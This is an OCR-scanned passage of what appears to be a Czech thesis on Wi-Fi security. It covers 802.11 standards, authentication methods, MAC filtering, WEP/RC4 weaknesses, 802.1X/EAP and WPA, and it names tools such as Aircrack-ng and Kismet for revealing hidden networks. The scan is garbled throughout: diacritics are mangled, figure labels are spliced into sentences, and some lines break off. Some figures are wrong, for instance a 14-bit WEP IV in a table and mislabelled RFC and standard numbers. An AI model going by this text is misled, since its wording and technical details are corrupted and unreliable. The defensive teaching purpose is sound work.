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ABSTRAKT

Cilem prace je shrnout poznatky o jednotlivych bezpecnostnich
mechanismech dostupnych v bezdratovych sitich Wi-Fi. Vysvétlit jak funguji a
poukdzat na jejich slabiny, kterych vyuzivaji ttoky proti bezdratovym sitim.
Nebot' znalost principti téchto utokl, je dulezitd pfi navrhu kvalitniho
zabezpeceni. Déle uvadim zasady a doporuceni aplikovatelnd pti ndvrhu firemni
nebo domaci bezdratové sité. Prakticka Cast je vénovana Wi-Fi siti lokélniho
poskytovatele internetu TyneckyNet. Zdkladem je ukazka jak se pfipojit do
Sifrované bezdratové sité bez znalosti tajného klice, popis nedostatkli stavajiciho
zabezpeceni a navrh nového, odolného proti neopravnénému piistupu a zaroven
vhodného pro TyneckyNet s nizkymi naklady na implementaci. Vysledkem prace
je aplikace nového zabezpeceni, vyuZivajici WPA s autorizaénim serverem
FreeRADIUS a dalsi vylepSeni, na ¢ast sité¢ TyneckyNet a jeji testovaci provoz.
Volba padla na WPA z divodu kompaktibility se starSimi zafizenimi v siti a
moznosti centralni spravy uzivatelskych uctii v databdzi napojené na autorizacni
server, coz do budoucnosti poskytuje hlavné moznost napojeni dalSich sluzeb,
vztahujicich se k uzivatelskému uctu, a mobilitu uZzivatel mezi piistupovymi
body v siti. Zda bude zabezpeceni implementovano na celou sit zavisi na

praktickych zkusenostech z testovaciho provozu.
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Seznam pouzitych zkratek a pojmu

Wi-fi
IEEE
IEEE 802.11
IEEE

HSDPA
VolP

LAN

ADSL

Bluetooth

WIMAX

AP

SSID
Ethernet

TCP/TP

Fyzicka vrstva

Linkova vrstva

Wirelless fidelity. Zkratka pouZivana pro bezdratové sité.
Institute of Electrical and Electronics Engineers

Wi-Fi standart definuje vyvijeny 11. pracovni

skupinou (Institute of Electrical and Electronics
Engineers)

Standart tfeti generace pro sit¢ mobilnich operatort.
Voice over Internet Protocol — pifenos hlasu pies
pocitacovou sit’ vyuziva protokoly TCP/IP

Local Area Network — lokalni pocitacova sit’ (minimum
2 pocitace)

Asymetric Digital Subscriber Line — asymetricka
(rychlost uploadu se lis§i od downloadu) digitalni linka
slouzici k pfenosu dat z

Bezdratova komunikaéni technologie slouzici
k propojeni mezi dvéma nebo vice zafizenimi (napf.
mobilni telefon, notebook, nahlavni souprava, PDA).
Stale se vyvijejici bezdratova technologie definovana
normami 802.16 zamétend na venkovni sité

Access point (prfistupovy bod) nezbytna soucast Wi-Fi
sit¢ (infrastrukturni) plni funkci mostu mezi kabelovou a
bezdratovou siti a poskytuje dalsi dopliikové funkce
Service Set Identifier — identifikator bezdratové sité
Technologie pienosu dat po kabelovém vedeni necastéji
kroucené dvoulince, ale 1 jinych typech kabela.
Protokolova architektura definovana sadou protokoll pro
komunikaci v pocitacové siti.

pfijem dat na urovni bitd. Neni definovana, proto je
mozné pouzivat TCP/IP na rtiznych technologiich.
Ovlada prenosovou cestu, pfijimani a odesilani datovych
paketd. Model TCP/IP tuto vrstvu nespecifikuje, nebot’ je

zavisla na pouzité prenosové technologii.
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Broadcast

Beacon

MAUC adresa

802.11i

EAP
TKIP

1A%

ICV

MIC

firmware

ISO/OSI

open source

RADIUS

CA

oS
RSN

Vsesmérova adresa

Réamec vysilany pfistupovym bodem, udavajici hodnotu
ESSID a dalsi

neboli hardwarova adresa je soucasti kazdého zafizeni
komunikujicitho v pocitacovych sitich (switch, sitova
karta, AP). Je ddna vyrobcem a je unikatni ( nelze se
setkat se dv€éma zafizenimi se stejnou MAC adresou od
vyrobce). MAC jde softwarové zménit (pouze v operacni
pam¢éti pocitace)

Znamy také pod ndzvem WPA2. Standart definujici
zabezpeceni bezdratové sit¢ RSN. Naslednik WPA.
Extensible Authentication Protocol

Sifrovaci algoritmus pouzity u WPA zabezpedeni.
Odstraniuje hlavni chyby WEPu.

Inicializa¢ni vektor, soucést Sifrovacich algoritmi.
Slouzi jako pseudondhodna ¢ast klice.

Integrity check value (kontrolni soucet) zajistuje
kontrolu, zda nebyla zprava zménéna pii pienosu.
Pouziviji zabezpeceni WEP.

Message Integrity Check — zajistuje kontrolu integrity
(zmény zpravy pii pfenosu)

Software ulozeny v ROM paméti zatizeni, ktery tidi jeji
funkce a spolupracuje s ovladaci v operacnim systému
Referenéni model organizace [SO. Nespecifikuje
implementaci (realizaci) systémi, ale uvadi vSeobecné
principy sedmivrstvé sitové architektury. Popisuje
vrstvy, jejich funkce a sluzby.

Pocitacovy software s otevienym zdrojovym kodem.
Autentiza¢ni server. Ovéiuje uzivatele pii pfipojeni do
site.

Certifikacni autorita — vydava a potvrzuje pravost
Sifrovacich certifikatu.

Operacni systém

Robust Security Network — bezpecnostni mechanismus
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pouzivany 802.11X.

AES Advanced Encryption Standart — Sifrovaci algoritmus
pouzivany standartem 802.11i, ktery je povazovan za
zcela bezpecny.

Monitor méd Mod sitovych/bezdratovych zatizeni v kterém piijimaji i
pakety neurcené jim. Zachycuji veSkery provoz v siti.

NAT Network adress translation (pteklad sitovych adres).

CCA Clear Channel Assesment — procedura standartu 802.11
zjist'ujici zda je volny kanal pro vysilani.

Mikrotik Operacni systém routerboardii zaloZzeny na OS Linux

Routerboard Zatizeni pro fizeni a spravu Wi-Fi sité. Zjednodusené
feCeno obsahuje vice AP.

paket injection Zasilani (injektovani) paketli do bezdratové sité, aniz

bychom do ni byli fadné ptipojeni.
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1  Uvod do Wi-Fi

1.1 Co je to Wi-Fi

Znacka ,,Wi-Fi* (obrazek ¢. 1) se dnes pouziva
jako znacka kompaktibility zatfizeni vychazejicich ze

standartu 802.11 a hlavné¢ jeho pozdéjSich verzi

oznacovanych pfidanim znaku za 802.11, témi jsou
naptiklad 802.11a, b a g. Vlastnikem znaCky Wi-Fi Obrazek ¢. 1 Wi-Fi logo (2)
je skupina Wi-Fi Alliance'. Néazev je slovni htitka va¢i Hi-Fi
(high fidelity — ,,vysoka vérnost* analogicky wirelless fidelity — ,,bezdratova
vérnost™) (1). Pivodné méla za cil zajisStovat bezdratové propojeni mobilnich
zafizeni (napf. notebooky, PDA) a jejich pfipojovani do lokalnich siti.
Postupem casu zaCala byt vyuZzivana i k jinym ucelim. Velmi rozsifené je
bezdratové pfipojeni do sité Internet dale pfipojeni VoIP telefonii a spotfebni
elektroniky (DVD, televize, aj.) do sit¢ LAN. Ve vyvoji jsou standarty
umoziujici vyuziti v automobilech na dalnicich podporujicich Inteligent

Transportation System*(2) pro zvy3eni bezpetnosti a sbér statistik o provozu.

V dnes$ni dobé velkého rozvoje informacnich technologii si bezdratové
sité rychle nasli své misto i u nas v Ceské republice. Nejdiive ve velkych
méstech a pozdéji 1 v odlehlejSich oblastech nasi republiky se zacaly budovat
bezdratové sité, vétSinou slouzici ke sdileni internetu vté dobé Spatné
dostupného a drahého. Nyni je Wi-fi jednou z nejrozsitenéjSich technologii
»posledni mile“, kterd vede od poskytovatele internetu k uzivatelim. Jeho
pfimym konkurentem v tomto sméru je ADSL, které pfenasi data od a

k uzivateli po telefonni lince.

! Obchodni organizace, ktera testuje a certifikuje zafizeni zda vyhovuje 802.11x standartu (2)
? Inteligentni transportni systém (2)
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1.2 Historicky vyvoj

Wi-Fi je technologie pro bezdratové sité, ktery vychazi ze standartu IEEE
802.1 dfive nazyvany bezdratovy ethernet. Vyvoj zacCal vroce 1985 a
vyznamné k nému ptispélo rozhodnuti amerického regulatora FCC (Federal
Communication Commission) uvolnit tfi frekvenéni pasma pro bezlicen¢ni
pouziti. Do té doby bylo mozné na né&jaké frekvenci vysilat jen s individudlnim
povolenim od FCC. To ovSem neznamend, ze se na vysilani v téchto pasmech
nevztahuji Zz4dna pravidla, naopak FCC stanovilo n¢kolik podminek. Mezi
Sirokopasmovych feSeni, fungujici na principu rozprostieni frekvenéniho
spektra, pfedevSim zdivodu ochrany zivotniho prostfedi, protoze pii
uzkopasmovém feSeni je energie vyzafovana z vysilace soustfedéna do tzkého

rozsahu frekvenci a musi pfesdhnout hladinu Sumu.

1.3 IEEE Standardy

Wi-Fi se podle IEEE 802.11 dé€li na mnoho standardi a jejich dopliki
(at’ jiz standardizovanych nebo ne). O jaky standart jde udava posledni znak za
802.11. V CR jsou nejrozsitengjsi 802.11b, 802.11g lze se setkat i s 802.11a
(nejvice na patetnich spojich). VSechna zafizeni v jedné bezdratové siti musi
pracovat na stejném standartu nebo kompatibilnim (napt. 802.11b a 802.11g

zafizeni v jedné siti) a ve stejném frekvencnim pasmu.

Prvnim standartem vyvinutym spole¢nosti IEEE (Institute of Electrical
and Electronics Engineers) byl 802.11. Poskytoval pfenosovou rychlost 1-2
MB a vyuzival tfi varianty feSeni fyzické vrstvy (FHSS, DSSS, DFIr). Z n¢j
vychazejici 802.11b pouzivala pouze modulaci DSSS (Direct Sequence Spread
Spectrum — technika ptimého rozprostteného spektra) a dosahovala rychlosti az
11 MB/s. 802.11g a 802.11a na fyzické vrstvé vyuzivaji modulaci OFDM
(Orthogonal Frequency Division Multiplexing - ortogonalni multiplex s
kmito¢tovym délenim). Standart 802.11g obsahuje i modulaci DSSS, ale pouze
z diivodu kompaktibility s zafizenimi standartu 802.115. V praxi to znamena,

ze pokud do 802.11g sité piipoji stanice pracujici na 802.11b, budou vSechna
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zafizeni komunikujici se stanici pracovat take na 802.11b, tedy jen 11 MB/s.

Stru¢ny prehled nékolika nejpouzivangjsich standarth je v tabulce €. 1. (3)

Tabulka ¢. 1 PFehled standarta 802.11 (2)

Standart Pasmo [GHz] Maximalni Fyzicka vrstva
rychlost [MB/s]
IEEE 802.11 2,4 2 DSSS, FHSS,
DFIr

IEEE 802.11b 2,4 11 DSSS
IEEE 802.11¢g 2,4 54 OFDM, DSSS
IEEE 802.11a 5 54 OFDM
IEEE 802.11n 2,4 nebo 5 540 OFDM, MIMO

Jediny 802.11n, ze vSech uvedenych, neni zatim schvalen ( nejdiive bude
v Cervenci 2007 ). Upravuje fyzickou Cast a podcast linkové vrstvy, aby se
doséhlo redlné rychlosti ptes 100 MB/s. Maximem je 540 MB/s. ZvySeni
rychlosti se dosahuje pouzitim matematického modelu MIMO (multiple input
multiple output) vyuzivajici vicecestné propagace’. MIMO je pouzivan i v

technologiich WiMAX a HSDPA (3G standart pro sit¢ mobilnich operatori).

Sit¢ standartu 802.11 neni jediny standart pro bezdratové sit€¢ mezi dalsi
patii Bluetooth, HSDPA, CDMA a WiMAX. Nejzajimavéjsim a z mého
pohledu pravdépodobnym nastupcem siti Wi-Fi patii WiMAX, jehoz
praktického nasazeni se snad dockame v budoucnosti. Jedna z prvnich
WiMAX siti vznikla v Ceském Krumlové a je v plném provozu. Pokud ale nize

narazite na pojem bezdratova sit’, bude tim myslena sit’ standartu 802.11.

3 vice pijimacich a vysilacich antén
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2 Jak Wi-Fi funguje

Nez se zatneme zabyvat zabezpecenim bezdratové sité je tfeba pochopit
jak Wi-Fi sit’ funguje a z toho vyplivajici bezpecnostni rizika. Na obrazku ¢. 2
je schéma jednoduché pocitacové sit€¢ na ném si ukdzeme zakladni

komponenty.

i,
Ethernet - distribugni cesta [ INTERNET |
\\\ o
i, e
oau‘;o%’ = ‘qf"b\o.,b“\k
q ~ L 050
7 . Vﬂ“

smart phone

notebook X ()
(Zi) \V smér pohybu [S

AP 2 - piistupovy bod
AP1- pfistupov? bod zde dojde k predani P povy

riotebooku z AP1 na

AP2 informace mezi

v AP se prendsi po
distribucni cesté L

f E : Qb
potitag Q B 4

natebook

Obrazek ¢. 2 Schéma jednoduché Wi-Fi sité

2.1 Zakladni komponenty

Kazdd bezdratova sit standartu 802.11 se sklada z ctyt zakladnich

komponent.
e Distribu¢ni systém
e Access point ( pristupovy bod )
e Pfenosové médium

e Klient

2.1.1 Distribuc¢ni systém

U Wi-Fi siti s nékolika access pointy (dale jen AP) je tfeba, aby byl
mozny pohyb klientii mezi témito AP bez ztraty spojeni. K tomu je nutna

komunikace mezi AP vsiti. Ten je realizovan pies distribu¢ni systém. Ve
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vetsing pripada se pouziva Ethernet, ale ve standartu 802.11 neni pod pojmem
distribucni systém definovano zaddné médium. Je tedy moZné pouZit i jinou
technologii. Protoze ale distribu¢ni médium byva vétSinou i pateini siti je volba
Ethernetu logicka. Hlavné kvuli rychlosti a Sifce pasma, které jsou na paterni

sit¢ hlavnimi pozadavky.

Dals$i podminkou mobility v bezdratovych sitich je piekryv signala
sousednich AP. Z diivodu abychom byli ptfed pfesmérovanim datového toku

klienta schopni urcit na které AP tok nasmérovat.

2.1.2 Access point ( Pristupovy bod )

Hlavni funkci je pfemosténi mezi kabelovou a bezdratovou siti. Dale
poskytuje dalsi funkce definované standartem 802.11 nebo pfidané vyrobcem.
Kazdy klient se musi pfipojit k AP a projit autentizaci (AP si podle udaji
poskytnutych klientem zjisti zda ma tento klient opravnéni k pfipojeni k siti).

Vice o autentizaci v kapitole Autentizace (kap. 3.1.)

2.1.3 Prenosové médium

Po pienosovém médiu se prenaseji data. V kabelovych sitich je médiem
kabeldz, proto se mize zdat, Ze v bezdratovych sitich se data prendsi
vzduchem, ale neni to pravda. Bezdratové sit¢ funguji i ve vakuu. Médiem jsou
radiové frekvence. Norma 802.11 definuje dvé frekvence (2,4 a 5 GHz) po
kterych se prenasi data mezi klienty a AP, nebo mezi dvéma a vice AP (napf.

pokud je distribu¢ni médium zaloZeno také na standartu IEEE 802.11).

2.1.4 Klient

Klientem v sitich Wi-Fi jsou naptiklad stolni pocitace, notebooky, PDA,
Fi, jako spojovaci ¢lanek mezi spotiebi¢i v domacnosti. Piikladem mize byt
tzv. chytra lendicka monitorujici stav potravin, kterd pies Wi-Fi piedava
informace centralnimu pocitaci nebo sama upozorni uzivatele na prochéazejici

dobu spotieby nékteré z uskladnénych potravin.
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3 Zabezpeceni

V kabelovych sitich je zabezpecneni jednodusi, nebot’ je nutné pocitac
propojit se siti kabelem, ktery vétSinou vede do datové zasuvky nebo rovnou
do switche. U kabelovych siti lze fyzicky zabezpecit pfisup k datové zasuvce,

tfeba 1 jen prostym zamknutim mistnosti ve které se nachazi.

U bezdratovych siti, takovy zplisob zabezpeceni pfistupu mozny nent,
protoze se signal $ifi volnym prostorem a nemé oproti kabelovym sitim zadné
hranice, lze omezit vystupni vykon (dosah signalu) pfistupového bodu na
Pokud mame doma bezdratovou sit’ neni nutné signal Sifit daleko od domu
staci ndm pokryti pouze v domé. Z téchto divodi je tieba zabezpecit sit’, aby

se nebylo mozné:

e pfipojeni neopravnéného uzivatele,

e odposlechnuti pfenosu dat.

3.1. Autentizace

Nez zacneme o metodach autentizace, povime si ve strucnosti jak probiha
autentifikace (pfipojeni) stanice k pfistupovému bodu, nebot pfipojeni

predchazi autentizaci a je tedy u obou metod stejné.

Stanice posSle na broadcast dotaz na existenci pfistupového bodu,
takzvany Probe Request (obsahuje SSID pozadované sit¢ a rychlosti
podporované stanici). Pristupové body v dosahu na dotaz odpovi zaslanim
svého SSID v pfipadé, Ze je stanice nami pozadovaného SSID v dosahu,
odpovi ramcem Probe Response s parametry dané sit¢ (napi. SSID,
podporované rychlosti, ¢etnost beacons, Casové razitko a dalsi). Pistupové

body s jinym SSID nez stanice zaslala v Probe Request pozadavek ignoruji.

Tim je zajisténo, ze pozadavek na ptipojeni dorazi k nami zadanému AP.
Po Gspésném piipojeni nasleduje autentizace (viz. obrazek €. 3).
»Autentizace v 802.11 siti je jednosmérny proces. Stanice si musi o

autentizaci do sit¢ zazadat, zatimco sit’ se vici stanicim autentizovat nemusi.

Twviirci standartu ziejmé pocitali s tim, ze pfistupovy bod je soucasti sitové
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infrastruktury a je vjistém privilegovaném postaveni, nicméné pravé timto
umoznili utoky nazyvané man-in-the-midlle. Jejich princip spociva v faleSném
ptistupovém bodu mezi klientem a skute¢nym pftistupovym bodem.* (1) Vice

se metodam tokd na bezdratové sité budu vénovat v samostatné kapitole.

Pro autentizaci stanice do sit¢ existuji dvé metody definované standartem

802.11.

e Open-System (otevieny systém)

e Shared Key (sdileny kli¢)

3.1.1 Open-System autentizace

Je zakladni metoda fizeni piistupu klienta do sité (autentizace)
vyzadovana standartem 802.11. Je skutené jen zakladni metodou a rozhodné
nepiispiva k dobrému zabezpeceni sité. Pro pfipojeni k siti musi stanice znat
jen jeji SSID (Service Set Identifier) a ohlasit se AP, které ji na zakladé
poskytnutych informacich pfipoji (pokud zaslala spravné SSID), aniz by

infomace ovéfoval. Po provedeni vSech kroktli je stanice ptfipojena do sité a

(9))

muze komunikovat. Postup je znazornén na obrazku ¢. 3.

pozadavek na autentifikacik ——p»

44— potvrzeni autentifikace pristuvym bodem ——

pozadavek na asociaci —

+«— potvrzeni asociace

Obrazek ¢. 3 Open System autentizace
Standartné AP vysila své SSID, aby kazda stanice v dosahu védéla, ze je
dostupnd Wi-Fi sit. Vysilani SSID je mozné vypnout. Tim se sit' stane
,neviditelnou* (nebude vidét v seznamu dostupnych siti), to mtize byt vhodné

pro zamezeni piistupu uzivateliim, ktefi SSID neznaji.

Vypnuti vysilani SSID zvysi zabezpeceni sité, ale neni to zdaleka
spolehliva ochrana pted neopravnénym piistupem. Existuji utility, které SSID
zjisti, ikdyz je AP nevysild. Pod Windows je to program NetStumbler s utilitou
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Zero Config. Pod Linuxem balik programt Aircrack-ng nebo Kismet.

3.1.2 Shared Key autentizace

Autentizace sdilenym klicem je vyspélejsi metoda fizeni piistupu
k bezdratové siti. V ptipad¢ jejiho pouziti je nutné v siti vyuzivat Sifrovani
WEP (popsan v kapitole 3.3 WEP). Kazdé zafizeni kompaktibilni se
standartem 802.11 musi umét obé metody. Podstatou Shared Key autentizace
spociva v klici, ktery je zndm vSem zafizenim v siti. Stanice, ktera se chce
autentizovat do sité se prokaze klicem, ktery ptistupovy bod ovéii a zatizeni

muze komunikovat v siti. Ovéteni probiha v né€kolika krocich.

1) Klient posle zadost o ovéieni

2) AP vygeneruje ndhodné Cislo a odesle jej stanici

3) Stanice ¢islo zakdduje RC4 algoritmem podle sdileného klice a odesle
zpét AP

4) AP Ccislo dekoduje a pokud se dekddované Cislo rovnd Cislu odesle

stanici potvrzeni o Uspé$nosti

Cely proces znazoriiuje obrazek ¢. 4.

poZadavek na autentifikaci ———p» << ))

44— potvrzeni a text

zafifrovanytext —
4——— potvrzeni autentifikace

pozadavek na asociaci —— P

4——— potvrzeni asociace

Obrazek ¢. 4 Shared Key autentizace
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3.2 Filtrace MAC adres

Standart 802.11 ve svych pocatcich nevyzadoval podporu WEP Sifrovani
(byla pfidana az v roce 1999). Casto ji prvni Wi-Fi zafizeni nepodporovala a i
v ptipad¢, Ze zatizeni WEP umélo, spréavci nechavali sit’ nezabezpecenou.
Divodem nebyla ani tak vyS$i prospustnost sité (pouzitim WEP klesne
propustnost o cca 20%), ale spi$ neexistujici centralni sprava WEP klic¢l na
ptistupovych bodech a na stanicich. Kli¢ bylo vzdy nutné ménit ru¢n¢ (na AP i
na stanicich u uzivatelll). Bez pravidelné obmény klice je mozné odposlechem
provozu a pouzitim specidlniho program kli¢ odvodit. Kli¢ neni mozné hlavné

u rozsahlejsich siti jednoduse zménit.

Pfesto je nutné omezit pfistup do sit€ jen na opravnéné stanice, proto

sami vyrobci implementovali do svych vyrobk filtraci MAC adres.

MAC adresa je unikatni adresa kazdého zafizeni v siti (zddné dvé zafizeni
nemaji stejnou) a je v zafizeni zadana jiz od vyrobce. Ptistupovy bod umoziiuje
vytvofit seznam povolenych nebo zakazanych MAC adres. V prvnim ptipadé
bude seznam obsahovat adresy zafizeni, které maji ptistup do sit¢ povolen a
ostatni zakazan. V pfipad¢ seznamu zakazanych MAC adres je tomu naopak.
Ovsem ani tato technologie neni zcela bezpe¢na. MAC adresa zafizeni je v ném
sice na pevno, ale neni nezménitelna. Lze ji zm&nit pom&mé lehce®, proto je
pouzivangj$i seznam povolenych MAC adres, protoze je pro piipadného
uto¢nika t&€z8i najit povolenou MAC adresu, nez jen zménit svou MAC adresu
na jinou, aby neodpovidala MAC adrese v seznamu zakdzanych adres. Obrazek
¢. 5 ukazuje jak vypada nastaveni filtrace MAC adres na Wi-Fi routeru Linksys

BEEFW1154.

* Vice 0 zméné MAC adresy budu vénovat v &asti o Gtocich na Wi-Fi sité v kapitole 4.

21-



LINKsYS'

A Division of Cisco Systems, Inc.

Wireless-B Broadband Router BEPWM1S4
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MAC 08: 000000000000 MAC 18: 000000000000
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Wireless Client MAC List

Save Settings Cancel Changes

Obrazek ¢. 5 Filtrace MAC adres

Nastaveni seznamu povolenych MAC adres v AP znazornéné na obrazku ¢. 5

povoli pfistup k siti pouze 7 stanicim s MAC adresami v seznamu.

3.3 WEP

Wired Equivalent Privacy (ochrana odpovidajici metalickému vedeni)(1)
je standard pro zabezpecCeni bezdratové casti sité, uvedeny v roce 1999.
Zabezpecuje komunikaci od klientskych stanic az po pfistupovy bod, odtud pak
odchazi data ve stejném tvaru jako byla odeslana klientskou stanici. V

wrw

soucasnosti je nejrozsifenéjSim zabezpecovacim mechanismem bezdratovych
siti v . CR. V dne$ni dobé& je jiz prekonadn a existuji bezpecngjsi Sifrovaci
mechanismy (napi. WPA, WPA?2). Pokud zafizeni v siti podporuji néktery z
téchto mechanismi, nevidim divod pro¢ WEP neopustit. V praktické cCasti
ukazi, jak odvodit WEP kli¢ z odposlechnutého provozu. Nevyhodou je
absence dynamické vymény klich. Zjednodusené feceno, zatfizeni s WEP
nejsou schopné se mezi sebou domluvit na vyméné tajného klice, proto je

nutné kli¢ zménit ruéné na kazdém zafizeni v siti. Ve vétSich bezdratovych

sitich (napf. lokalniho poskytovatele internetu) je velky problém kli¢ vyménit,
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protoze se zménou klice v pristupovém bod¢ se vSechny k nému piipojené
stanice nebudou moci pfipojit (maji stary a neplatny kli¢) a je nutné ho ru¢né
zadat na kazdé stanici. Zdkladem WEPu je Sifrovaci algoritum RC4 s tajnym

klicem.

3.3.1 RC4

Sifrovaci algoritmus RC4 je symetrickd proudova Sifra s tajnym
klicem (1). Autorem je spolecnost RSA Data Security, Inc (5). Zajimavé na ni
je, ze jeji algoritmus nebyl nikdy oficidlné publikovan, ale v roce 1994 byl
ziskan zpétnym inzenyrstvim a zvetejnén (5).

Postup Sifrovani dat znazoriiuje obrazek ¢. 6. Z dat se u odesilatele

spocita kontrolni soucet (Integrity Check Value — ICV) a spolu s daty se

zaSifruje tajnym klicem (heslo + IV) a u piijemce se podle stejného klice

vvvvvv

expanduje v pseudondhodny kliCcovaci stream o stejné délce, jakou ma

Sifrovand zprava. “Pseudondhodnost™ zajiStuje generator pseudondhodnych

p 4

. . y o IV + PASSWORD
Sifrované hodnoté provede logicka (64 OR 128)

¢isel PRNG — tedy sestava pravidel,
podle nichz se kli¢ rozsifi na délku

zpravy do klicovaciho streamu. Samo

Sifrovani probihd tak, Ze se na

operace XOR s klicovacim streamem
a  rozSifrovani  probihd  stejné

(viz. obrazek ¢. 7) (1).

Ob¢ zafizeni, mezi kterymi
probiha Sifrovana komunikace, musi
znat pravidla PRNG, aby obé
vygenerovali stejné pseudondhodné
Cislo a tajny klic. Bezpetnost RC4 -

Sifry je dana dvéma parametry: ¢ -

Obrazek ¢. 6 WEP Sifrovani (8)

e délkou klice,

e Cetnosti obmény klice.
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Vyrobci zatizeni pro Wi-Fi na svych vyrobcich uvadéji WEP s délkou
klice 64, 128 a nckteti i 256 bitd, ale to neni zcela pravda. Kazdy kli¢ je slozen

ze dvou ¢asti.

e Pevné casti —tajnd a nemeéni se
o [nicializacniho vektoru (IV) — méni se pro kazdy paket a neni
Sifrovan
Tajnym klicem je pouze pevna cast, kterd ma u 64 bitové Sifry délku
pouze 40 bitd a to neni vibec mnoho. Tabulka €. 2 zobrazuje jak se 1isi pevné

¢asti a kli¢e u riznych vyrobcem deklarovanych velikosti kli¢i.

Tabulka ¢. 2 Délky Sifrovacich kli¢a u WEP

udavana délka klice (bit) | délka pevné (tajné) casti délka 1V (bit)
(bit)
64 40 14
128 104 24

V ptipadé, kdy by se kazdy paket Sifroval stejnym klicem, tak by kli¢ byl

snadno rozlustitelny, proto jsou inicializacni vektory pseudondhodné

IV + CIPHERTEXT | q
g T = — Tl

generovany.  Moznych

variant IV je 2**.

Jak bylo zminéno

vySe, standart WEP

netesi automatickou
CIPHERTEXT . . 11sve .

distribuci kli¢t, proto je
na vyrobci zatizeni, zda

tuto moznost nabidne

jako pridavek. Bohuzel
na vétSingé zafizeni je

mozné kli¢ zadat do

M_PARE konfigurace pouze

co
y’

ruéng. 'V piipadé, ze
vase AP dynamickou
5 5 vyménu WEP  Kklice
Obrazek ¢. 7 WEP deSifrovani (8)
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podporuje, musi byt v siti vSechny AP od stejného vyrobce, aby byly AP spolu
kompaktibilni. Dynamickou vyménu WEP klicu podporuje u svych vyrobk.

napf. spolecnost Linksys (Cisco).

3.3.2 Integrity Check Value (ICV)

U standardu 802.11 a Sifrovani WEP je integrita dat zajiSténa pomoci 32
bitové hodnoty ICV (Integrity Check Value), které je ptfipojena k datové Casti
802.11 a Sifrovana metodou WEP. I kdyz je hodnota ICV Sifrovand, je mozné
bez deSifrovani zménit bity v Sifrované datové Casti a aktualizovat Sifrovanou
hodnotu ICV, aniz by tato akce byla ptijemcem zjisténa (7). Jak vypada ramec
802.11 bez  Sifrovani a  Sifrovany  pomoci  WEP  ukazuje

obrazek ¢. 8.

Nesifrovany ramec 802.11 sl gt

/

F i

4
802.11 Header Data CRC
Inicializatni Vektor Integrity Check Value
WEP ramec 802.11 /
802.11 Header v ¥ Data ICV‘

Obriazek ¢. 8 802.11 a WEP ramce

3.3.3 WEPplus

Vznikl vylepSenim plivodniho WEP zabezpeceni od spolecnosti Agere
samotny WEP, jen zabere uto¢nikovi, mnohem vice ¢asu. WEPplus zvétsuje
mnozstvi inicializa¢nich vektort, které jsou hlavni slabinou WEPu, umoznujici
pomérné rychle spocitat pouzity kli¢ a pfipojit se do takto zabezpecené site.
Pokud neni WEPplus na vSech zatizenich v siti pozbyva nasazeni smysl, nebot’

siti budou stale proudit slabé inicializacni vektory.
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3.4 WEP2

Je opét vylepSenim plivodniho WEP zabezpeceni. WEP2 zlepSuje
zabezpeceni hlavné rozsifenim inicializa¢nich vektort a zesilenim 128bitového
Sifrovani. Pouzit byl typicky na zafizenich, ktera neumoznovala provozovat
novéjsi WPA nebo WPA2 zabezpeCeni. Nicméné WEP2 ma stejné
bezpecnostni problémy jako WEP, jen Gto¢nikovi zabere jesté o néco vice Casu

nez WEPplus (3).

3.5 802.11X a EAP

802.1X je IEEE standard pro fizeni pfistupu do sité. Obsazen je v rodiné
protokolti IEEE 802.1. Jinak by se 802.1X dal definovat jako bezpecnostni
ramec pro vSechny typy siti, protoze ho lze pouzit v dratovych i bezdratovych
sitich. Zahrnuje autentizaci uzivateld, Sifrovani zprav a distribuci klich.
Ovétovani probiha na urovni portt ptistupového bodu. To znamena, ze blokuje

ptistup k segmentu lokalni sit¢ uzivatelim bez patti¢ného opravnéni (1).

802.1X wvytvoii point-to-point spojeni pokud bylo zafizeni uspésné

autentifikovano. V ptipad¢€ netspéchu je mu ptipojeni do sité zakdzano.

- 2 "
&/ 3 b

autentizacni
server RADIUS

o

&
S &
&

7 INTERNET
. a
Ethemnet \ zafizenivLAN

Obrazek & 9 802.1X autentizace
Zakladem 802.1X je protokol EAP (Extensible Autentification Protocol)
definovaného v RFC 2248 a pozd¢ji rozsiteného v RFC 3748. Pivodné byl
vyvinut pro PPP LCP (Point-to-Point Protocol Link Control Protocol)(1).
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V bezdratovych sitich je autentifikace zajiStovana ne samotnym 802.1X,
ale autentifikacnim serverem RADIUS nebo Kerberos. AP pouze zprostiedkuje
spojeni stanice s timto serverem, ktery rozhodne o autentizaci. Zpravy EAP se

zapouzdiuji do ramci 802.1X.
Pribeéh autentizace:

1) Klient odesle pocatecni zpravu na ptistupovy bod (AP) a obdrzi dotaz
na identitu klienta zpravou EAP REQUEST-ID.

2) Klient odpovi zprdvou EAP RESPONSE-ID, obsahujici identifikacni
udaje uzivatele. Piistupovy bod zpravu zapouzdii do paketu RADIUS
ACCESS REQUEST a odesle ji autorizacnimu serveru RADIUS.

3) RADIUS server odpovi pfistupovému bodu zpravou o vysledku
autorizace dané¢ho klienta. Tedy povoleno nebo zakdzano a to
prostfednictvim paketu RADIUS ACCESS ACCEPT a vném
obsazenou zpravou EAP SUCCESS v prvnim piipadé a nebo RADIUS
ACCESS/DENY a vném obsaZzenou zpravou EAP FAILURE.
Zapouzdienou zpravu EAP pieposle AP klientovi.

4) V ptipad¢ uspésné autentizace (EAP SUCCESS) je otevien port, pies
ktery probihala autentizace, pro data dan¢ho uzivatele a ten je nyni
povazovan za autentizovaného (ziskal pfistup do LAN sit¢ a muize

vyuzivat jeji sluzby).

Stanice, ktera se chce pfipojit do sité musi byt vybavena tzv
,prosebnikem® (supplicant) softwarem. Do opera¢niho syst¢ému Windows byla
podpora 802.11X pfidana nainstalovanim Service Packu 2. V Linuxu lze pro
komplexni spravu Wi-Fi pfipojeni vyuzit program wpasupplicant, ktery
poskytuje plnou podporu 802.11i, ale jeho ovladani neni vhodné pro
zaCateCniky (nastavuje se z ptikazového tfadku). Alternativou k wpasupplicant
je NetworkManger. Standartné je soucansti grafického rozhrani KDE a nabizi

intuitivni grafické rozhrani.
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3.6 WPA

Bezpecnostni mechanismus WPA (WiFi Protected Access) vytvofeny
WiFi Allianci, odstranuje vSechny dosud zndmé chyby svého ptedchiidce
WEPu a navic pouZiva mechanismy pievzaté ze standartu 802.11i°, ktery ma
zabezpeceni Wi-Fi siti ucinit srovnatelné s kabelovymi sitémi. WPA byl
navrzen jako docasné feseni pred dokoncenim 802.11i standartu. Do WPA byli
implementovany jen vylepSeni, které nevyzaduji hardwarovy upgrade
pristupovych bodi. U vétSiny AP staci nahrat aktudlni firmware vyrobce
s implementovanym WPA. Byla by chyba nezdiraznit, ze WPA je
neslucitelny s WEP a 802.11i (WPA2).

